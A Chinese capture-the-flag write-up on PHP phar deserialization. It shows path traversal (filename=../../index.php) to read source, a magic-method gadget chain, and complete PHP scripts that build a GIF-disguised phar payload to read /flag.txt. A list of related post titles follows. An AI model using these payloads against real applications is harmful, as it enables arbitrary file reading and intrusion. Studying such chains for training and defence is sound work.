PHP phar反序列化
以题为例
进来后我们注册一个账户并登录
查看一下网页源代码发,并没有发现什么我们上传个文件看看能不能通过菜刀获取权限
发现并不能连接上。此时我们通过BP抓包看看能不能获取到有用的信息
发现一个filename裸露在我们视野我们考虑让filename=xxx.php获取到index.php
我们这样尝试发现没用这是为啥呢?这里有个细节我们一般上传文件都是在网站主目录下的,所以这里需要跳转到上级目录所以我们需要让filename=../../index.php
出现了index.php中的其他php文件
依次我们读取了class.php和delete.php以及download.php。
现在我们开始对这四个php文件进行分析,我们在class.php中发现
一眼就明白这是魔术方法。什么是phar反序列化?phar文件是php的压缩文件,它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,phar://与file:// ,php://等类似,也是一种流包装器.
phar的利用条件:
① phar文件要能够上传到服务器端
② 要有可用的魔术方法作为“跳板”
③ 要有文件操作函数,如file_exists(),fopen(),file_get_contents(),file()
③ 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
我们可以知道有了魔法函数__call()和file_get_contents()我们应该考虑利用file_get_content来获取flag,而在download.php中有if(strlen($filename)<40&&$file->open($filename)&&stristr($filename,"flag")===false)即上传文件名不能包含flag,也证实了flag文件应该就在本目录的flag.txt或者flag.php.
接下来我们着重分析class.php
如果一个Filelist对象调用了close()方法,根据call魔法函数,File的close方法会被执行,就可能拿到flag。
这个时候我们就要借用到phar://伪协议,因为file_get_contents()读取内容是是能读将phar反序列化的。
Tips:在php.ini中修改readonly = Off才能生成phar文件
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off (注意前面没有分号)
最终EXP:<?php
class User{
public $db;
}
class FileList{
private $files;
public function __construct(){
$this->files = array(new File()); //方便在__call()函数中便能调用File()中的close()函数
}
}
class File{
public $filename = '/flag.txt';
}
//这是创建phar文件的常规姿势
$phar = new Phar('phar.phar');
$phar ->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new User();//创建一个User类的对象
$object->db = new FileList();//将object的$db变量设置为新的FileList类的一个对象
$phar -> setMetadata($object);//将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
(这题属于比较复杂了)EXP太难了
知识点轰炸
1.1 open_basedir
在in_set这个函数中,可以设置php的一些配置,其中就包括open_basedir ,用来限制当前程序可以访问的目录。后来问了一下朱师傅,了解到:它是可以访问设置目录下的所有下级目录。
若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 “/dir/other"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。”."可代表当前目录,open_basedir也可以同时设置多个目录,在Windows中用分号分隔目录,在任何其它系统中用冒号分隔目录。例:
ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); 就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录。解释了为什么要在delete.php中利用payload,而不是download.php。
1.2 chdir() mkdir()
- chdir() 现实目录跳跃,解释了为什么下载时要filename = ../../indx.php ,而不是filename = index.php。
- mkdir() 创建一个文件夹,顺带提一下。
1.3 function __call($func, $args)
php的魔术方法,为什么要叫魔术方法?__call($func,$args)会在对象调用的方法不存在时,自动执行。 $func:被调用的方法名,所以$func()在这个魔术方法中,可以表示被调用的那个方法; $args : 被调用方法中的参数(这是个数组)
public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
在本题中,次方法的作用,是去调用对象没有的方法。首先把要调用的方法,压进$this->funcs中,然后遍历每一个文件,让每一个文件,都去调用刚才的方法。比如在index.php中,就出现了这个函数的调用。
当执行 $a = new FileList($_SESSION[‘sandbox’])时,会先调用构造函数,把“$_SESSION[‘sandbox’]”目录下的所有文件,都放到 $a->files中,注意这是个数组,解释了为什么,在后面构造payload时,\$this->files要等于一个数组。然后 $a->Name(); 调用了一个FileList中并没有的方法,就会自动调用 __all($func, $args)函数,其中$func=Name。然后让
$a->files里的所有文件,都去调用这个方法。并把结果,存储在以filename为一级键名,方法为二级键名的数组中。然后Size方法同样如此。
name |
Size |
|
filename1 |
xx |
xx |
filename2 |
xx |
xx |
也就时说,它在程序中的作用就是,遍历我们上传的所有文件,并把它们的信息,储存在\$a->result这个二维数组中。
1.4 function __destruct()
foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>'; $table .= '</tr>'; }
- foreach ($this->results as $filename => $result) 每次把每个一级数组的值,传递给$result,即filename1[]
- foreach ($result as $func => $value) 每次把每个二级数组的值,传递给$value
- echo table 最后打印出来全部数据
解决了读取的数据,无法输出的问题
1.5 phar(重点)
讲phar的链接
我的理解,我们可以把一个序列化的对象,储存在phar格式的文件中,生成后(一定要是生成后),即使我们把格式给改了,也不影响它的作用:用一些文件包含函数,如果我们以phar://协议去访问这个文件,那么就可以把那个对象给反序列化。
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,别人测试后,受影响的函数如下:
2 实践
在File类中,close方法存在file_get_contents()函数,在User中,会调用改方法$this->db->close(),如果有回显的化,我们就可以直接构造payload:
<?phpclass User { public $db;}class File { public $filename = "/flag.txt";}$a = new User();$a->db = new File();?>
然后放到phar文件后,就可以了。
但事实并没有回显,那么我们就让$this->db = new FileList(),让它去调用close,然后调用__call(),然后再调用 __destruct()函数,打印结果。完美,可是我想不到
payload:
<?phpclass User { public $db;}class File { public $filename;}class FileList { private $files; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; $this->files = array($file); }} $a = new User();$a->db = new FileList(); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new User();$o->db = new FileList(); $phar->setMetadata($a); //将自定义的meta-data存入manifest$phar->addFromString("exp.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>
3.总结
感觉只要和序列化有关的,就在魔术方法里,找高危函数就完事了,有file_get_contents()的,就是任意文件读取,有eval的,就是任意命令执行。
PHP phar反序列化相关推荐
- thinkphp5 注入 反序列化写文件 phar反序列化
原文出处: 红队攻击第3篇 thinkphp5框架 注入 反序列化写文件 phar反序列化 (qq.com) 1.SQL注入1 <?phpnamespace app\index\controll ...
- 【phar反序列化与GC回收机制的利用】
认识phar phar是什么?简单来说就是把php压缩而成的打包文件,无需解压,可以通过phar://协议直接读取内容 ,大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,z ...
- 文件上传与Phar反序列化的摩擦
提示:文章yu写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.Phar是什么? 二.Phar压缩文件的组成 三.Phar伪协议 四.SWPU 2018[SimplePHP] 五 ...
- phar反序列化小结
0x00 phar反序列化 phar反序列化即在文件系统函数(file_exists().is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反 ...
- 记一道CTF中的phar反序列化
Author: takahashi 提要 最近这段时间恍恍惚惚有点不知道干嘛, 想着闲来无事不如去做两道CTF,于是有了此文.记录一下自己做题的思路过程以及遇到的一些问题, 有不对不足之处还望师傅们斧 ...
- PHP之phar反序列化
前言 phar反序列化来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式.或许有人对phar的理解只停留在phar://协议中甚至连phar协议都没有听过,至少在了解phar ...
- PHP Phar反序列化总结
文章首发于Freebuf https://www.freebuf.com/articles/web/291992.html 利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性, ...
- php phar 混淆,深入理解PHP Phar反序列化漏洞原理及利用方法(一)
Phar反序列化漏洞是一种较新的攻击向量,用于针对面向对象的PHP应用程序执行代码重用攻击,该攻击方式在Black Hat 2018会议上由安全研究员Sam Thomas公开披露.类似于对编译二进制文 ...
- 【Web安全】从xxe到phar反序列化
**重要:**在 PHP 里面解析 xml 用的是 libxml,当 libxml 的版本大于 2.9.0 的时候默认是禁止解析 xml 外部实体内容的. 以下代码存在 xxe 漏洞. xml.php ...
最新文章
- stm32 独立看门狗和窗口看门狗区别
- 《微机原理及接口技术》第03章在线测试
- 码农和程序员等的差别
- PAT (Basic Level) 1044 火星数字(模拟)
- hadoop—集群配置历史服务器及访问历史服务器日志
- Netflix工程总监眼中的分类算法:深度学习优先级最低
- 华为云ModelArts图深度学习,学习知识还能考取微认证
- 1709 - Index column size too large. The maximum column size is 767 bytes.
- 稀疏矩阵的创建--十字链表
- # bucketSort 箱排序 也称桶排序
- 关于手机联系人的改进想法
- 微博android源码,新浪微博客户端源码 android
- 局域网和内网?系统远程桌面和内网远程软件?
- windows server2008r2 下载
- 启动计算机显示屏没反应,电脑开机后显示器无反应怎么办
- 4、HFSS的边界条件
- 一位优秀的学弟,计算机2019保研经历分享(北大信科、清华计算机系)
- 吐血分享:QQ群霸屏技术教程(利润篇)
- 【STM32学习】(21)STM32实现步进电机
- Java8里不得不说的那些常用日期处理,码起来~
热门文章
- opencv reshape 深拷贝 浅拷贝之坑
- WAIC 2021 | 第四范式戴文渊:AI决策助力金融转型走向质变
- dbvar:染色体结构变异数据库
- 【精简版】MyBatis-Plus学习笔记
- 对抗机器学习论文-Towards Evaluating the Robustness of Neural Networks(CW2)
- 批量分析百世快运物流,并筛选更新量为2的单号
- 基于决策树的智能网络安全入侵检测模型
- 人工智能到底是啥_人工智能 (AI) 是什么?| Oracle 中国
- 聊聊设计师的人生规划
- NIO 与 Netty 编程